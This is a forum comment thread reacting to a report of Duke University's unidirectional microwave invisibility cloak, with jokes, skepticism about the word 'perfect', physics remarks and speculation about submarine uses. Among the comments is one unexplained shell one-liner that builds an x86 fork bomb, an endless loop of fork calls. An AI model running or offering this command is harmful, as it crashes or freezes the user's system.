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Duke University Creates Perfect, Centimeter-scale Invisibility Cloak
MrSeb writes "Scientists at Duke University have created the first invisibility cloak that perfectly hides centimeter-scale objects. While invisibility cloaks have been created before, they have all reflected some of the incident light, ruining the illusion. In this case, the incident light is perfectly channeled around the object, creating perfect invisibility. There are some caveats, of course. For now, the Duke invisibility cloak only works with microwave radiation — and perhaps more importantly, the cloak is unidirectional (it only provides invisibility from one very specific direction). The big news here, though, is that it is even possible to create an invisibility cloak of any description. It is now just a matter of time before visible-light, omnidirectional invisibility cloaks are created."
I always hoped they would work on Warp technology first....
Also, does this mean we are the Romulans....
I'll believe it when I see it.
"It is now just a matter of time before visible-light, omnidirectional invisibility cloaks are created."
Wow. Just Wow. Just because we sent men to the moon, it does not mean that we'll be traveling to other galaxies soon.
Unless of course by "just a matter of time", they mean like a hundred thousand years.
So, the cloak only does a very small area. Hobbitses?
... so ... multiple cloaks?
... better directed EMP bombs?
And the cloak only does it from one direction?
And the cloak only does a certain type of radiation?
I guess it's all pretty neat. My big problem with the article? It's not a CLOAK if it's only 1cm by 1cm. It's more of a patch. Or a stamp.
- Nec Impar Pluribus, or so I'm told.
I think someone invented that long ago... Have you ever dropped an smt component on carpet? I have it just disappears.
hides you from blasts of intense cancer.
I'm getting my body armour, dread wigs and spiky face masks now before they all sell out!
Surely it's gotta have a tailpipe...
Operation Guillotine is in effect.
now all we need to do is drag Stuart Little out of rehab (child stars... what more needs to be said?), and get him trained up over in Langley. With this invisible cloak, we can take rodint (rodent intelligence) to the next level.
Can someone look up cat populations in Iran at CIA's World Fact Book?
Would this be an effective way of shielding objects & people from EM radiation?
* By "perfect" the Duke University means a cloak which:
- invisibility cloak only works with microwave radiation
- the cloak only provides invisibility from one very specific direction
So much for "perfect", huh?
I RTFA and there's a parenthetical "Delete as Applicable." What's wrong with journalism these days?
My Harry Potter cosplay will be complete! Win!
I have the hiccups.
If someone ever does produce an actual cloak of invisibility, we're going to have a huge problem as the foundations of our law enforcement will go out the window.
It will in effect legalize murder, since anyone with an invisibility cloak can sneak up on a victim and blow his/her head off. Even better, with printable weapons, the murder weapon won't be traceable either.
Perhaps the decision we made long ago to rely on external control (e.g. law enforcement) instead of internal moral compass, will come back to haunt us. Our citizens now don't commit murder from fear of being caught. With that gone, what?
Don't these articles ever have a decent picture?
Does anybody know anyone who can see into the microwave frequency? Anybody? Bueller? Anybody?
Perfect /'perfikt/
adj.
Having all the parts and qualities that are needed or wanted, an no flaws or weaknesses.
If there are caveats, it's not perfect. Don't slap false labels on things to make them sound more impressive. Call it what it is.
The idea that we're "soon" to have invisibility cloaks that are both omni-directional *and* handle visible light is an unfounded one. True, maybe the underlying foundations are set well and the science is understood. But here's the issue: metamaterials ("invisibility cloaks" as a rule, fall into this category since they're properties are determined by the structure of the materials - not the material itself) have specific patterns in the structure. Microwave radiation has a wavelength between 1 mm and 1 m. Visible light has a wavelength of 390 to 750 nm. We are talking about four orders of magnitude.
The structure of the metamaterial needed to handle visible light is going to be out of our reach for quite some time until we can design a better way of handling structural details on the nanoscale and beyond (right now, the best methods are self assembled, and those methods usually aren't good for the massive complexity you'd desire).
The end result is an invisibility cloak that can perfectly hide a 3×0.4-inch (7.5x1cm) cylinder from microwave radiation.
Isn't this basically where they've been with this research for ages? The only new thing I can see here is that the material was cut into a diamond shape to minimize reflections.
If the only way you can accept an assertion is by faith, then you are conceding that it can't be taken on its own merits
I already perfected a centimeter scale invisibility cloak which works in visible light, but is unidirectional.
It involves using a digital camera, a printer, one square centimeter of paper and a bit of tape. Naturally, there are some limitations to where it can be used, but those are just details for the engineers to deal with.
Magicians have been doing that for a long time.OK, the mirrors divert light under the table or whatever, so it's not a free-standing object, but is it in this case?
This doesn't seem like some big leap forward... the microwaves are slightly less distorted than the last cloaking attempt, but they're still distorted. "Perfect invisibility" should mean the inability to detect distortion.
Man size invisibility cloaks or Guymelef size invisibility cloaks?
"MIT betrayed all of its basic principles."
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Maybe my flying car will have a visible-light, omnidirectional invisibility cloak.
So the trick is not to move your head. Squint a bit. And only use microwave-vision. Those are a lot of constraints.
I have a solution that's quite a bit simpler: Look entirely the other way. Total invisibility!
Nevertheless their achievement is actually very cool.
20 minutes into the future
Wow, this is sensationalist titling on par with Digg or Reddit. Title: New Earth 2.0 found 2 miles outside Earth's atmosphere! Body: No not really. What we meant to say is that a planet approximately the size of the earth with no possibility of hosting human life was found far beyond the Sloan Great Wall. Same thing, different story.
The vast majority of murders today don't have any eye witnesses, and yet many of those cases still get solved and the perpetrator caught. Furthermore, it really isn't hard to sneak out behind someone and shoot someone today, without even being seen by the victim. So an invisibility cloak will only make it slightly easier to kill someone, and won't make it any harder to catch them. Not much of a game changer.
...I didn't see it coming.
Now, I'll admit that I totally want one, but are there any non-evil (or non-military, if you prefer) uses for a working invisibility cloak? All I can think of is "spying on people" and "making it easier for soldiers to kill people." Are there civilian applications?
If the microwave radiation is strong enough, it definitely is going to cause skin damage (and also a bit below the skin), by simply boiling the tissue.
I doubt it will cause any cancer, however.
"It is now just a matter of time before visible-light, omnidirectional invisibility cloaks are created."
Why would you say that? Sounds like a matter of faith to me...
Now I can walk around with my zipper open and no one'll notice.
I remember the same thing said about nuclear rocket ships, now that we have conquered the atom....in 1950...
"the cloak is unidirectional (it only provides invisibility from one very specific direction)."
This is reminiscent of the 1930s Hollywood special effect called the "glass shot," which looks perfect from the point of view of the camera, but not from anywhere else.
"It is now just a matter of time before visible-light, omnidirectional invisibility cloaks are created." That's about like saying that if David Copperfield can make the Statue of Liberty vanish... as a magic trick... seen under special conditions from an audience confined to a special viewpoint... it is only a matter of time before he can do it for real.
"How to Do Nothing," kids activities, back in print!
Seriously this is so 1953 Technology
I am such a SAP
Opps Special Access Program leak again... darn...
It's for sonar. It's easy to imagine the implications of this sort of technology for submarines.
I read in the Cold War the US introduced spread spectrum sonar. Spread spectrum means you can operate below the noise floor - only receivers that know the code can even tell that a signal is there. So the day the US switched to spread spectrum the Russians suddenly stopped hearing any US sonar until they cracked the code.
These invisibility cloaks make no sense at all for visible light because the wavelengths are too short. For sonar however they make excellent sense. Also the demos all seen to cloak a circular object, i.e. they'd fit perfectly around a submarine's hull.
So the purpose is for US SSBN's to be even harder to detect than they currently are. Which is probably pretty damn hard.
Why is this important? Well if you have submarines that are invisible to sonar it means they can lurk fairly close to an enemies coast and deliver a decapitation attack which has little or no chance of being intercepted by missile defence.
The sort of countries the US is actually worried about fighting - the Russians and Chinese - both have brittle and overly centralised leadership structures and tend to be a couple of decades behind the US in technology. Which means they don't have missile defence systems and most likely do not have stealthy SSBNs either. Still it is important for the US to discover these sorts of abilities first in order to develop counter measures.
If the US has stuff like this it makes those countries less likely to challenge the US over Georgia, the Ukraine and Taiwan which is kind of handy for the people of those countries.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
"I solemnly swear that I am up to no good."
Ironically, the scientists lost and could not find the object once the invisibility cloak was placed over it...
If the microwave radiation is strong enough, it definitely is going to cause skin damage (and also a bit below the skin), by simply boiling the tissue.
Believe me, that's a risk I worry about every day. But I recently discovered that there are other frequencies that can cause such damage! I now refuse to allow my family within a mile of any restaurant with so-called "heat lamps" (or as I prefer, "death lamps"), and I'm seriously considering banning from my household anything that emits between 400 and 790 THz. I heard one of my neighbors actually bought an Easy-Bake Oven for their kids. An Easy-Bake Oven! Won't somebody please think of the children?
(Seriously, though, if you pour significantly more than a kilowatt per meter square of EM into living tissue, you're gonna have a bad time. There are a handful of cases, e.g. VHF, where you might be able to bump that figure by an order of magnitude (maaaybe two) because humans are reasonably transparent at those frequencies. But as a rule of thumb, all non-ionizing EM from visible light down cooks you the same way.)
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Another example of a great theory, but nothing practical. So you can hide from microwaves on a single plane of existence, meh. This is almost as bad as putting on a tinfoil hat.
I think that Top Gear's attempt at invisibility is more practical:
http://www.youtube.com/watch?v=_TVMpS7Z-5U
I haven't thought of anything clever to put here, but then again most of you haven't either.